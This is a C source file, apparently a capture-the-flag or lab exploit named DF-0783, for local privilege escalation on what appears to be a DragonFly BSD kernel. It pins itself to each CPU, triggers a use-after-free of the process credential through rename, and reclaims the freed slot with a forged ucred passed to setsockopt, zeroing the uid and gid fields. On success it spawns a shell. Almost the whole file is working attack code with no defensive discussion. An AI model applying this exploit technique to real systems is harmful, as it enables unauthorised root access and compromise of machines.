DF-0783 / primtest2.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 | /* * DF-0783 Primitive Test v2 โ with CPU pinning to win the slab race. * * Strategy: pin to each CPU (0..N-1), trigger rename + setsockopt, check uid. * The slab allocator's per-CPU zones mean we need rename+setsockopt on the * SAME CPU that owns maxx's ucred zone. Pinning ensures this. * * For each CPU: * 1. lwp_setaffinity(0, 0, {cpu}) โ pin self * 2. fork helper to read ucred address (after the pin, to ensure fresh read) * 3. wait for go_flag (root mounts image with correct X) * 4. rename + setsockopt * 5. check uid */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/socket.h> #include <sys/wait.h> #include <sys/cpumask.h> typedef unsigned long long u64; typedef unsigned int u32; typedef unsigned short u16; typedef unsigned char u8; #define UCREDSIZE 192 /* lwp_setaffinity(pid, tid, mask) โ syscall 544 */ #define SYS_lwp_setaffinity 544 extern int syscall(int, ...); static void pin_cpu(int cpu) { cpumask_t mask; memset(&mask, 0, sizeof(mask)); mask.ary[0] = (1ULL << cpu); /* pid=0 (self), tid=0 (self), mask */ int rc = syscall(SYS_lwp_setaffinity, 0, 0, &mask); fprintf(stderr, "[*] pinned to cpu %d (rc=%d errno=%d)\n", cpu, rc, errno); } int main(int argc, char **argv) { char mnt[1024]; char src[4096], dst[4096]; char dump[64]; u64 ucred_addr = 0; u8 before[UCREDSIZE], after[UCREDSIZE]; u8 forged[UCREDSIZE]; int i, attempt, cpu, s, rc, dfd; if (argc != 2) { fprintf(stderr, "usage: %s <mnt>\n", argv[0]); return 2; } snprintf(mnt, sizeof(mnt), "%s", argv[1]); snprintf(src, sizeof(src), "%s/d1/sub", mnt); snprintf(dst, sizeof(dst), "%s/d2/sub", mnt); /* Read ucred (no pinning yet โ ucred addr is process-global). */ snprintf(dump, sizeof(dump), "/tmp/df0783_d.XXXXXX"); int tfd = mkstemp(dump); if (tfd >= 0) close(tfd); pid_t pid = fork(); if (pid == 0) { char p[16]; snprintf(p, sizeof(p), "%d", getppid()); execl("/usr/local/sbin/ucred_helper", "ucred_helper", p, dump, NULL); _exit(127); } int st; waitpid(pid, &st, 0); dfd = open(dump, O_RDONLY); if (dfd < 0 || read(dfd, &ucred_addr, 8) != 8 || read(dfd, before, UCREDSIZE) != UCREDSIZE) { perror("read dump"); return 1; } close(dfd); unlink(dump); /* Publish addr for orchestration. */ FILE *af = fopen("/tmp/ucred_addr_for_orch", "w"); if (af) { fprintf(af, "0x%llx\n", (unsigned long long)ucred_addr); fclose(af); } fprintf(stderr, "[*] ucred=0x%llx uid=%u\n", (unsigned long long)ucred_addr, *(u32*)(before+64)); /* Build forged ucred: copy + zero uids/gids. */ memcpy(forged, before, UCREDSIZE); *(u32*)(forged+64) = 0; /* cr_uid */ *(u32*)(forged+160) = 0; /* cr_ruid */ *(u32*)(forged+164) = 0; /* cr_svuid */ *(u32*)(forged+168) = 0; /* cr_rgid */ *(u32*)(forged+172) = 0; /* cr_svgid */ *(u16*)(forged+68) = 1; /* cr_ngroups */ *(u32*)(forged+72) = 0; /* cr_groups[0] */ memset(forged+76, 0, 16*4-4); /* Wait for go_flag. */ fprintf(stderr, "[*] waiting for go_flag...\n"); for (i = 0; i < 120; i++) { if (access("/tmp/go_flag", F_OK) == 0) { unlink("/tmp/go_flag"); break; } sleep(1); } s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return 1; } /* Try each CPU. */ int ncpus = 6; for (cpu = 0; cpu < ncpus; cpu++) { pin_cpu(cpu); usleep(50000); /* let scheduler settle */ for (attempt = 0; attempt < 2; attempt++) { fprintf(stderr, "\n=== cpu %d attempt %d ===\n", cpu, attempt); fprintf(stderr, "[*] pre uid=%d\n", getuid()); rc = rename(src, dst); fprintf(stderr, "[*] rename rc=%d errno=%d\n", rc, errno); /* IMMEDIATELY realloc. */ rc = setsockopt(s, SOL_SOCKET, SO_RCVBUF, forged, sizeof(forged)); fprintf(stderr, "[*] setsockopt rc=%d errno=%d\n", rc, errno); if (getuid() == 0 || geteuid() == 0) { fprintf(stderr, "[!!!] ROOTED via cpu %d\n", cpu); fflush(stderr); printf("[!!!] ROOTED: uid=0 (cpu=%d)\n", cpu); fflush(stdout); execl("/bin/sh", "sh", "-c", "id; echo FLAG_DF0783_ROOTED; echo FLAG_END", NULL); _exit(0); } /* Rename back if possible. */ rc = rename(dst, src); if (rc != 0) { fprintf(stderr, "[!] rename-back failed: %s\n", strerror(errno)); /* The rename-back also triggers the bug (frees ucred+56 again). * Double-free on noinv: creates self-cycle. To avoid, we break. */ break; } } } /* Final diagnostic. */ snprintf(dump, sizeof(dump), "/tmp/df0783_final.XXXXXX"); tfd = mkstemp(dump); if (tfd >= 0) close(tfd); pid = fork(); if (pid == 0) { char p[16]; snprintf(p, sizeof(p), "%d", getppid()); execl("/usr/local/sbin/ucred_helper", "ucred_helper", p, dump, NULL); _exit(127); } waitpid(pid, &st, 0); dfd = open(dump, O_RDONLY); if (dfd >= 0) { u64 fa = 0; read(dfd, &fa, 8); read(dfd, after, UCREDSIZE); close(dfd); fprintf(stderr, "\n=== FINAL ===\n"); fprintf(stderr, "ucred=0x%llx uid=%u ngroups=%u\n", (unsigned long long)fa, *(u32*)(after+64), *(u16*)(after+68)); } unlink(dump); fprintf(stderr, "[*] final getuid=%d\n", getuid()); return 0; } |